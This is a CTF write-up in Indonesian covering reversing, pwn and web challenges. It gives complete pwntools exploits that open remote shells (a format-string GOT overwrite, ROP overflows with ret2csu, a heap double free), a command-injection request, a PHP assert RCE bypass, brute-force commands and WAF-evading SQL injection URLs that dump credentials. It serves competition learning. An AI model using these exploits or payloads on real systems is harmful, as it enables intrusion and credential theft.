    int v9; // [sp+28h] [bp-E8h]@1
    int v10; // [sp+2Ch] [bp-E4h]@1
    int v11; // [sp+30h] [bp-E0h]@1
    int v12; // [sp+34h] [bp-DCh]@1
    int v13; // [sp+38h] [bp-D8h]@1
    int v14; // [sp+3Ch] [bp-D4h]@1
    int v15; // [sp+40h] [bp-D0h]@1
    int v16; // [sp+44h] [bp-CCh]@1
    int v17; // [sp+48h] [bp-C8h]@1
    int v18; // [sp+4Ch] [bp-C4h]@1
    int v19; // [sp+50h] [bp-C0h]@1
    int v20; // [sp+54h] [bp-BCh]@1
    int v21; // [sp+58h] [bp-B8h]@1
    int v22; // [sp+5Ch] [bp-B4h]@1
    int v23; // [sp+60h] [bp-B0h]@1
    int v24; // [sp+64h] [bp-ACh]@1
    int v25; // [sp+70h] [bp-A0h]@1
    int v26; // [sp+74h] [bp-9Ch]@1
    int v27; // [sp+78h] [bp-98h]@1
    int v28; // [sp+7Ch] [bp-94h]@1
    int v29; // [sp+80h] [bp-90h]@1
    int v30; // [sp+84h] [bp-8Ch]@1
    int v31; // [sp+88h] [bp-88h]@1
    int v32; // [sp+8Ch] [bp-84h]@1
    int v33; // [sp+90h] [bp-80h]@1
    int v34; // [sp+94h] [bp-7Ch]@1
    int v35; // [sp+98h] [bp-78h]@1
    int v36; // [sp+9Ch] [bp-74h]@1
    int v37; // [sp+A0h] [bp-70h]@1
    int v38; // [sp+A4h] [bp-6Ch]@1
}

```

```

int v39; // [sp+A0h] [bp-68h]@1
int v40; // [sp+ACCh] [bp-64h]@1
int v41; // [sp+B0h] [bp-60h]@1
int v42; // [sp+B4h] [bp-5Ch]@1
int v43; // [sp+C0h] [bp-50h]@1
int v44; // [sp+C4h] [bp-4Ch]@1
int v45; // [sp+C8h] [bp-48h]@1
int v46; // [sp+CCh] [bp-44h]@1
int v47; // [sp+D0h] [bp-40h]@1
int v48; // [sp+D4h] [bp-3Ch]@1
int v49; // [sp+D8h] [bp-38h]@1
int v50; // [sp+DCh] [bp-34h]@1
int v51; // [sp+E0h] [bp-30h]@1
int v52; // [sp+E4h] [bp-2Ch]@1
int v53; // [sp+E8h] [bp-28h]@1
int v54; // [sp+ECCh] [bp-24h]@1
int v55; // [sp+F0h] [bp-20h]@1
int v56; // [sp+F4h] [bp-1Ch]@1
int v57; // [sp+F8h] [bp-18h]@1
int v58; // [sp+FCCh] [bp-14h]@1
int v59; // [sp+100h] [bp-10h]@1
int v60; // [sp+104h] [bp-Ch]@1
__int64 v61; // [sp+108h] [bp-8h]@1

v61 = *MK_FP(__FS__, 40LL);
v7 = 42;
v8 = 42;
v9 = 105;
v10 = 115;
v11 = 95;
v12 = 116;
v13 = 104;
v14 = 105;
v15 = 115;
v16 = 95;
v17 = 97;
v18 = 95;
v19 = 102;
v20 = 108;
v21 = 97;
v22 = 103;
v23 = 42;
v24 = 42;
v25 = 110;
v26 = 51;
v27 = 101;
v28 = 102;
v29 = 116;
v30 = 102;
v31 = 88;
v32 = 6;
v33 = 106;
v34 = 74;
v35 = 77;
v36 = 98;
v37 = 98;
v38 = 108;
v39 = 109;
v40 = 112;
v41 = 17;
v42 = 58;
v43 = 101;
v44 = 95;
v45 = 105;
v46 = 102;
v47 = 95;
v48 = 105;
v49 = 116;
v50 = 95;
v51 = 119;
v52 = 97;
v53 = 115;
v54 = 95;
v55 = 104;
v56 = 97;
v57 = 97;
v58 = 114;
v59 = 100;
v60 = 125;
for ( i = 0; i <= 17; ++i )
{
    if ( *((_DWORD *)(&xors + *((_DWORD *)(&xors + *(&v7 + i)) + *(&v25 + i))) + *(_BYTE *)(i + a1)) != *(&v43 + i) )
    {
        result = 0LL;
        goto LABEL_18;
    }
}
for ( j = 18; j <= 35; ++j )
    *(&v7 + j - 18) = *((_DWORD *)(&xors + *(_BYTE *)(j + a1)) + *(&v7 + j - 18));
for ( k = 0; k <= 17; ++k )
    *(&v7 + k) = *((_DWORD *)(&xors + *(_BYTE *)(k + a1)) + *(&v7 + k));
for ( l = 0; l <= 17; ++l )
{
    if ( *(&v7 + l) != *(&v25 + l) )
    {

```

```

        result = 0LL;
        goto LABEL_18;
    }
}
result = 1LL;
LABEL_18:
v2 = *MK_FP(__FS__, 40LL) ^ v61;
return result;
}

```

Setelah di cek, variable global xors merupakan variable array 2 dimensi dimana array tersebut merupakan kumpulan nilai - nilai yang telah di xor dengan jarak 0 sampai 255, misal kita ingin menxor 5 dengan 2, cukup akses array xors dengan `xors[5][2]` . Skrip solver yang kami buat seperti ini.

```

from z3 import *

kk = [42, 42, 105, 115, 95, 116, 104, 105, 115, 95, 97, 95, 102, 108, 97, 103, 42, 42]
kkk = [110, 51, 101, 102, 116, 102, 88, 6, 106, 74, 77, 98, 98, 108, 109, 112, 17, 58]
kkkk = [101, 95, 105, 102, 95, 105, 116, 95, 119, 97, 115, 95, 104, 97, 97, 114, 100, 125]
flag = [BitVec("f{}".format(i), 32) for i in range(36)]
f1 = flag[:18]
f2 = flag[18:]
s = Solver()

for i in range(18):
    s.add(f1[i] ^ (kk[i] ^ kkk[i]) == kkk[i])

kk = [i^j for i,j in zip(f2, kk)]
kk = [i^j for i,j in zip(f1, kk)]

for r, l in zip(kk, kkk):
    s.add(r == l)

s.check()
m = s.model()
fl = ""
for f in flag:
    fl += chr(m[f].as_long())
print(fl)

```

```

% python solve.py
!Fest{D0nt_blame_me_if_it_was_haard}

```

**Flag : !Fest{D0nt\_blame\_me\_if\_it\_was\_haard}**

## Pwn

### KPK FPB

di berikan service `nc 139.99.104.173 2214` yang di mana kita di suruh menjawab nilai FPB dan KPK dari service tersebut, buat auto script nya :

```

#!/usr/bin/env python

from functools import reduce
from fractions import gcd
from pwn import *

p = remote("139.99.104.173", 2214)

def lcm(a, b):
    return a * b / gcd(a, b)

def lcm(*numbers):
    return reduce(lcm, numbers)

def gcds(*numbers):
    return reduce(gcd, numbers)

for i in range(1000):
    try:
        print p.recvuntil("Tolong carikan FPB dan KPK dari ")
        angka = p.recvline().split()
        angka = map(int, angka)
        ans = "{}-{}".format(gcds(angka[0], angka[1], angka[2]), lcm(angka[0], angka[1], angka[2]))
        print ans
        p.sendline(ans)
    except:
        print p.recv()

```

**Flag : !Fest{Math\_So\_Math\_Math\_Crypto}**

## Echo Me

Diberikan sebuah elf binary 32bit dengan proteksi seperti berikut

```

checksec pwnme
[*] '/home/user/CTF/ifest/pwn/pwnme'
Arch:      i386-32-little

```

```
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
```

Hasil decompile

```
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
    char s; // [sp+0h] [bp-400h]@1

    do
    {
        fgets(&s, 1023, stdin);
        printf(&s);
        putchar(10);
    }
    while ( s != 69 );
    exit(0);
}
```

Program tersebut vulnerable format string exploit karena penggunaan `printf(&s);`.

Untuk mendapatkan akses shell kami menggunakan skenario berikut :

- Overwrite printf got dengan system plt
- mengirim "sh;\x00", sehingga saat pemanggilan printf akan menjadi system(sh;#)

script exploit yang kami gunakan

```
from pwn import *

DEBUG = 0
elf = ELF("./pwnme", checksec=False)

if DEBUG:
    io = process("./pwnme")
    # gdb.attach(p, '''b *0x4006b9
    #    b *0x400724''')
else:
    io = remote("139.99.104.173", 2269)

printf_got = 0x8804a00c
system_plt = 0x80483b0

payload = ""
payload += p32(printf_got)
payload += p32(printf_got+1)
payload += p32(printf_got+2)
payload += p32(printf_got+3)

payload += '%{c}'.format(0xb0 - len(payload))
payload += "%1$hn"
payload += '%{c}'.format((0x83 - 0xb0) + 256)
payload += "%2$hn"
payload += '%{c}'.format((0x04 - 0x83) + 256)
payload += "%3$hn"
payload += '%{c}'.format(0x08 - 0x04)
payload += "%4$hn"

io.sendline(payload)
io.sendline("sh;\x00")

io.interactive()
```

```
$ python pwnme.py
[+] Opening connection to 139.99.104.173 on port 2269: Done
[*] Switching to interactive mode
$ ls
chall
flag
redir.sh
$ cat flag
!Fest{Do_You_Know_Black_Pink?}
```

**Flag : !Fest{Do\_You\_Know\_Black\_Pink?}**

## No Noob

diberikan binary 64bit bernama nop dengan proteksi sebagai berikut

```
$ checksec nop
[*] '/home/user/CTF/ifest/pwn/nop'
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x400000)
```

hasil decompile

```
// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
    char v4; // [sp+0h] [bp-40h]@1

    init(*(_QWORD *)&argc, argv, envp);
    printf("Baby me, ");
    __isoc99_scanf("%s", &v4);
    return 0;
}
```

Program tersebut vulnerable buffer overflow. skenario yang kami gunakan adalah

1. Trigger buffer overflow
2. panggil fungsi scanf
3. kirim /bin/sh
4. panggil fungsi debug untuk spawn shell.

script exploit yang kami gunakan

```
from pwn import *

DEBUG = 0

if DEBUG:
    io = process("./nop")
else:
    io = remote("139.99.104.173", 2000)

var_me = 0x000000000000601058 #D var_me
s = 0x40089c #
debug = 0x400765
poprdi = 0x000000000400863 #: pop rdi ; ret
poprsi = 0x000000000400861 #: pop rsi ; pop r15 ; ret

payload = ""
payload += "A" * 72
payload += p64(poprdi)
payload += p64(0x40089c)
payload += p64(poprsi)
payload += p64(0x000000000000601058)
payload += p64(0)
payload += p64(0x4005d0)
payload += p64(debug)

io.sendline(payload)
io.sendline("/bin/bash\x00")
io.interactive()
```

```
$ python nop.py
[+] Opening connection to 139.99.104.173 on port 2000: Done
[*] Switching to interactive mode
Baby me, $ ls
chall
flag
$ cat flag
!Fest{Do_You_Know____7Icon?}
```

## Kimi No Nawa

diberikan file elf binary 64 bit bernama ret2csu, berikut proteksi nya

```
$ checksec ret2csu
[*] '/home/user/Research/CTF/pwn/ret2CSU/ret2csu_re'
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x400000)
```

hasil decompile

```
// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
    char buf; // [sp+0h] [bp-20h]@1

    init(*(_QWORD *)&argc, argv, envp);
    write(1, "Name : ", 8uLL);
    read(0, &buf, 0x140uLL);
    write(1, "Hi, : ", 6uLL);
    return 0;
}
```

Untuk menyelesaikan soal ini kami menggunakan teknik yang bernama `ret2csu` .

Skenario yang kami gunakan.

1. Leak write address menggunakan gadget ret2csu
2. pivot ke bss
3. mengirim payload untuk ekeksi `execve(&/bin/sh,0,0)`

script exploit yang kami gunakan.

```
from pwn import *

DEBUG = 0

elf = ELF("./ret2csu",checksec=False)
# https://libc.blukat.me/d/libc6_2.23-0ubuntu10_amd64.so
libc = ELF("./libc6_2.23-0ubuntu10_amd64.so",checksec=False)

if DEBUG:
    io = process("./ret2csu")
    gdb.attach(p, '''b *0x4006b9
        b *0x400724''')
else:
    io = remote("139.99.104.173",2004)

# Got and offset address
write_got = elf.got["write"]
read_got = elf.got["read"]
read_offset = elf.symbols["read"]
write_offset = libc.symbols["write"]

# Gadget
libc_start_main = 0x0000000000601028 #R_X86_64_JUMP_SLOT __libc_start_main@GLIBC_2.2.5
bss_ = 0x00601050 #elf.bss
poprdi = 0x0000000000400723
libc_csu_init_1 = 0x0000000000400716
libc_csu_init_2 = 0x00000000004006f8
leave = 0x00000000004006b9 # leave; ret
poprsp = 0x000000000040071d #: pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret

# Gadget Offset from libc
syscall = 0x00000000000bc375 #: syscall ; ret
poprax = 0x0000000000033544 #: pop rax ; ret
poprsi = 0x00000000000202e8 #: pop rsi ; ret
poprdx = 0x000000000001b92 #: pop rdx ; ret
#

def do_ret2csu(n=32,pivot_addr=bss_):
    '''Leak write address and pivot to pivot_addr'''
    payload = ""
    payload += "A" * n
    payload += p64(libc_csu_init_1)
    payload += p64(0x41)
    payload += p64(0)
    payload += p64(1)
    payload += p64(write_got)
    payload += p64(8)
    payload += p64(write_got)
    payload += p64(1)

    payload += p64(libc_csu_init_2)
    payload += p64(0x41)
    payload += p64(0)
    payload += p64(1)
    payload += p64(read_got)
    payload += p64(0x400)
    payload += p64(pivot_addr)
    payload += p64(0)
    payload += p64(libc_csu_init_2)

    payload += p64(0)
    payload += p64(0)
    payload += p64(pivot_addr)
    payload += p64(0)
    payload += p64(0)
    payload += p64(0)
    payload += p64(0)
    payload += p64(leave)
    return payload

def call_execve(n=8,bin_sh=None):
    '''Calling execve(&/bin/sh,0,0)'''
    payload = ""
    payload += "A" * n
    payload += p64(poprax + libc.address)
    payload += p64(59)
    payload += p64(poprdi)
    payload += p64(bin_sh)
    payload += p64(poprdx + libc.address)
    payload += p64(0)
    payload += p64(poprsi + libc.address)
    payload += p64(0)
    payload += p64(syscall + libc.address)
    return payload

### Put Your Custom here
payload = do_ret2csu(n=40)
io.send(payload)
```



```

io.recvuntil("Hi, : ")
write_leak = u64(io.recv(8))
### End Custom

### Libc address
libc.address = write_leak - write_offset
bin_sh = libc.search("/bin/sh").next()

payload = call_execve(bin_sh=bin_sh)
io.send(payload)
io.interactive()

```

```

$ python csu_template.py
[+] Opening connection to 139.99.104.173 on port 2004: Done
[*] Switching to interactive mode
$ ls
chall
flag
$ cat flag
!Fest{Listen_TWICE_TT_FOR_YOUR_BETTER_LYFE}

```

**Flag : !Fest{Listen\_TWICE\_TT\_FOR\_YOUR\_BETTER\_LYFE}**

## Are you free

Diberikan sebuah binary elf 64bit dan file libc\_2.23.so. Pseudo code dibawah merupakan proses bagaimana note dibuat.

```

void *new_note()
{
    void *v1; // [sp+8h] [bp-8h]@1

    v1 = malloc(0x20uLL);
    if ( !v1 )
    {
        puts("Malloc error");
        exit(1);
    }
    return v1;
}

__int64 create_note()
{
    FILE *v0; // rdi@1
    FILE *v1; // rdi@4
    int v3; // [sp+4h] [bp-Ch]@1
    int v4; // [sp+4h] [bp-Ch]@4
    _DWORD *v5; // [sp+8h] [bp-8h]@1

    v5 = new_note();
    notes[curnote] = (__int64)v5;
    printf("Size of title : ");
    v0 = stdout;
    fflush(stdout);
    v3 = readint(v0);
    if ( v3 > 1023 )
    {
        puts("too long");
        fflush(stdout);
        exit(1);
    }
    v5[6] = v3;
    *((_QWORD *)v5 + 2) = malloc(v3);
    printf("Title : ");
    fflush(stdout);
    readline(*((_QWORD *)v5 + 2), (unsigned int)v3);
    printf("Size of content : ", (unsigned int)v3);
    v1 = stdout;
    fflush(stdout);
    v4 = readint(v1);
    if ( v4 > 1023 )
    {
        puts("too long");
        fflush(stdout);
        exit(1);
    }
    v5[2] = v4;
    *((_QWORD *)v5) = malloc(v4);
    printf("content : ");
    fflush(stdout);
    readline(*(_QWORD *)v5, (unsigned int)v4);
    return (unsigned int)(curnote++ + 1);
}

```

Setiap note berisi title dan content note. Setelah membaca pseudo kodenya kami memperkirakan bahwa struktur note kira-kira seperti ini.

```

struct note {
    char* isi;
    int isi_len;
    char* judul;
    int judul_len;
}

```

Setiap note akan dimasukkan ke variable global array bernama notes.

Note akan di hapus menggunakan fungsi `free` . Note yang telah dihapus tidak dapat diedit lagi.Tapi note yang telah difree dapat difree kembali, ini merupakan bug double free dan bug ini sangat fatal dan dapat berakibat program dapat diambil alih dan meredirect eksekusinya. Bug ini akan kita memanfaatkan untuk mengakses shell ke server dan membaca flag.

Seperti inilah exploit yang kami buat untuk mengakses shell pada server.

```
from pwn import *

libc = ELF('./libc_2.23.so')
p = remote("139.99.104.173", 2005)

def create_note(t, c):
    p.sendlineafter(">", '1')
    p.sendlineafter(":", str(len(t) + 1))
    p.sendlineafter(":", t)
    p.sendlineafter(":", str(len(c) + 1))
    p.sendlineafter(":", c)

def print_note(i):
    p.sendlineafter(">", '3')
    p.sendlineafter(":", str(i))
    p.recvuntil(":")
    t = p.recvuntil("Content : ", drop=True).strip()
    c = p.recvuntil("[1]", drop=True).strip()
    return (t, c)

def edit_note(i, t, c):
    p.recvuntil(">")
    p.sendline("2")
    p.sendlineafter(":", str(i))
    p.sendlineafter(":", t)
    p.sendlineafter(":", c)

def delete_note(i):
    p.sendlineafter(">", '4')
    p.sendlineafter(":", str(i))

for i in range(5):
    create_note("x"*0x50, "x"*10) # Create dummy chunk
delete_note(3)
delete_note(1)
delete_note(3)
create_note("x"*0x8, "x"*0x8)
create_note("x"*0x8, (p64(0x602010) + p64(8) + p64(0x602060) + p64(8))) # 0x602060 == atoi got
atoi = u64(print_note(5)[0].ljust(8, "\x00")) # Leak address
base = atoi - libc.symbols['atoi']
libc.address = base
system = p64(libc.symbols['system'])
edit_note(5, system, "x/bin/sh")
p.interactive()
```

Pertama kita membuat 5 note, lalu hapus note ke 3 dan 1 (index ini dipilih jika kedua note di free maka tidak akan di merge oleh heap). Lalu hapus note ke 3 lagi (ini tidak menyebabkan program crash akibat double free, karena kita telah menghapus note selain 3 sebelumnya). Selanjutnya, ketika kita mengalokasikan 2 note lagi, note pertama (index ke-5) dengan title dan content berukuran 8, lalu note kedua (index ke-6) dengan title berukuran 8 sementara content berukuran 0x20. Hal ini akan membuat content pada note kedua akan mengoverwrite struktur note pertama. Kita bisa mengatur nilai dan pointer apapun pada note ke-5.

Jalankan script diatas

```
[*] '/home/user/ctf/chall-buatan-sendiri/ctf22/rev/chall/note/libc_2.23.so'
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       PIE enabled
[+] Opening connection to 139.99.104.173 on port 2005: Done
[*] Switching to interactive mode
[1] create_note();
[2] edit_note();
[3] print_note();
[4] delete_note();
> Index of note: $ cat flag
!Fest{HangOut_With_Dahyun_,_Nayeon,_Lisa_,Rose_,Nancy_,_but_Not_Burhan_OK?}
```

**Flag : !Fest{HangOut\_With\_Dahyun\_,Nayeon,Lisa\_,Rose\_,Nancy\_,\_but\_Not\_Burhan\_OK?}**

## Web

### Kim Generator

Di berikan url <http://139.99.104.173:2209/> yang terdapat vuln RCE karena menggunakan fungsi `assert()` , namun web masih sedikit memliki proteksi akan tetapi masih bisa di bypass dengan masukkan `var_dump(file_get_contents('index.php')) == 0` lalu cek source akan terdapat flag

**Flag : !Fest{WarM\_Up\_Dude\_Calm\_GOGO\_Ganbate!}**

### Hello World

di berikan url <http://139.99.104.173:2208/> yang terdapat folder .git/, dump folder .git menggunakan gitdumper yang sudah di download dari github dengan command :

```
./gitdumper.sh http://139.99.104.173:2208/.git/ git-dump/
```

lalu masuk folder .git dan ketikkan command `git show` maka akan terdapat flag

Flag : !Fest{ke3p\_y0ur\_g1t\_safe}

## Defacement

Diberikan url <http://139.99.104.173:2210/> yang adalah web yang telah terdeface dengan clue *"I forget the password, I save in user.txt and pass.txt"*, yang dimana berarti kita di suruh untuk melakukan bruteforcing, download userpass lalu cek page source terdapat folder untuk admin login pada **"4dmln-pAn3L"**, brute menggunakan tools <https://github.com/erforschr/bruteforce-http-auth> dengan command :

```
python3 bruteforce-http-auth.py -t http://139.99.104.173:2210/4dmIn-pAn3L -U ../user.txt -P ../pass.txt --verbose
```

mendapat results **Authentication successful: Username: "Administrator" Password: "hunter" URL: <http://139.99.104.173:2210/4dmln-pAn3L>** dan tinggal login

Flag : !Fest{12345\_say\_no\_to\_defacing\_12345}

## Regex

Diberikan url <http://139.99.104.173:2211/> yang dimana terdapat vuln command injection, coba submit sesuatu lalu tamper dengan burp dan edit request datanya menjadi seperti ini

```
POST / HTTP/1.1
Host: 139.99.104.173:2211
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://139.99.104.173:2211/
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
Connection: close
Upgrade-Insecure-Requests: 1

search=cat&mod=e&replacement=`cat index.php`&subject=catfisch&submit=
```

maka akan muncul flag

**Flag : !Fest{regex\_Grep\_whatever}**

## Punokawan

Di berikan web dengan url <http://139.99.104.173:2212/> dengan vuln SQL Injection tapi masih di proteksi dengan WAF untuk memblokir beberapa aksi seperti order, select, database() dll. akan tetapi kita masih bisa membypass nya

- **carikan jumlah column** = <http://139.99.104.173:2212/?user=Arjuna%27%20group%20by%202--%20->
- **munculkan inject point** = [http://139.99.104.173:2212/?user=Yudistira%27%20UNION%20SELECT%20%22-1%27\)%20union%20SELECT%201,2,3-%20%22,%202-%20-](http://139.99.104.173:2212/?user=Yudistira%27%20UNION%20SELECT%20%22-1%27)%20union%20SELECT%201,2,3-%20%22,%202-%20-)
- **lihat list table** = [http://139.99.104.173:2212/?user=Yudistira%27%20UNION%20SELECT%20%22-1%27\)%20union%20SELECT%201,2,%20GroUp\\_CoNcAt\(tAbLe\\_nAmE\)%20FrOm%20InFoRmaTiOn\\_ScHeMa.taBles%20Where%20TaBLe\\_ScHeMa=DaTaBase\(-\)%20-%22,%202-%20-](http://139.99.104.173:2212/?user=Yudistira%27%20UNION%20SELECT%20%22-1%27)%20union%20SELECT%201,2,%20GroUp_CoNcAt(tAbLe_nAmE)%20FrOm%20InFoRmaTiOn_ScHeMa.taBles%20Where%20TaBLe_ScHeMa=DaTaBase(-)%20-%22,%202-%20-)
- **list column table 388e8d19bf9740f95858eb22b4fa7d4f** = <http://139.99.104.173:2212/?user=Yudistira> UNION SELECT “-1”) union SELECT 1,2,group\_concat(column\_name) from Information\_Schema.Columns where Table\_name=’388e8d19bf9740f95858eb22b4fa7d4f’ - - , 2 - -
- **dump isi** = <http://139.99.104.173:2212/?user=Yudistira> UNION SELECT “-1”)%20union%20SELECT%201,2,group\_concat(id\_user,0x3a,%20name\_user,0x3a,nick\_user,0x3a,user\_login,0x3a,user\_pass,0x3a,flag,0x3c62723e)%20from%20osqli.388e8d19bf9740f95858eb22b4fa7d4f-%20-%22,%202-%20-

cek robots.txt akan terdapat tempat untuk login dan gunakan user untuk login ke /Tell Me Youre Admin/, cek

[http://139.99.104.173:2212/Tell\\_Me\\_Youre\\_Admin/login.php?show\\_source=true](http://139.99.104.173:2212/Tell_Me_Youre_Admin/login.php?show_source=true) dan login cara edit cookie `user_login=user1; user_pass=pass1` lalu klik your point akan terdapat flag

Flag : !Fest{this\_is\_how\_to\_make\_1337\_rage}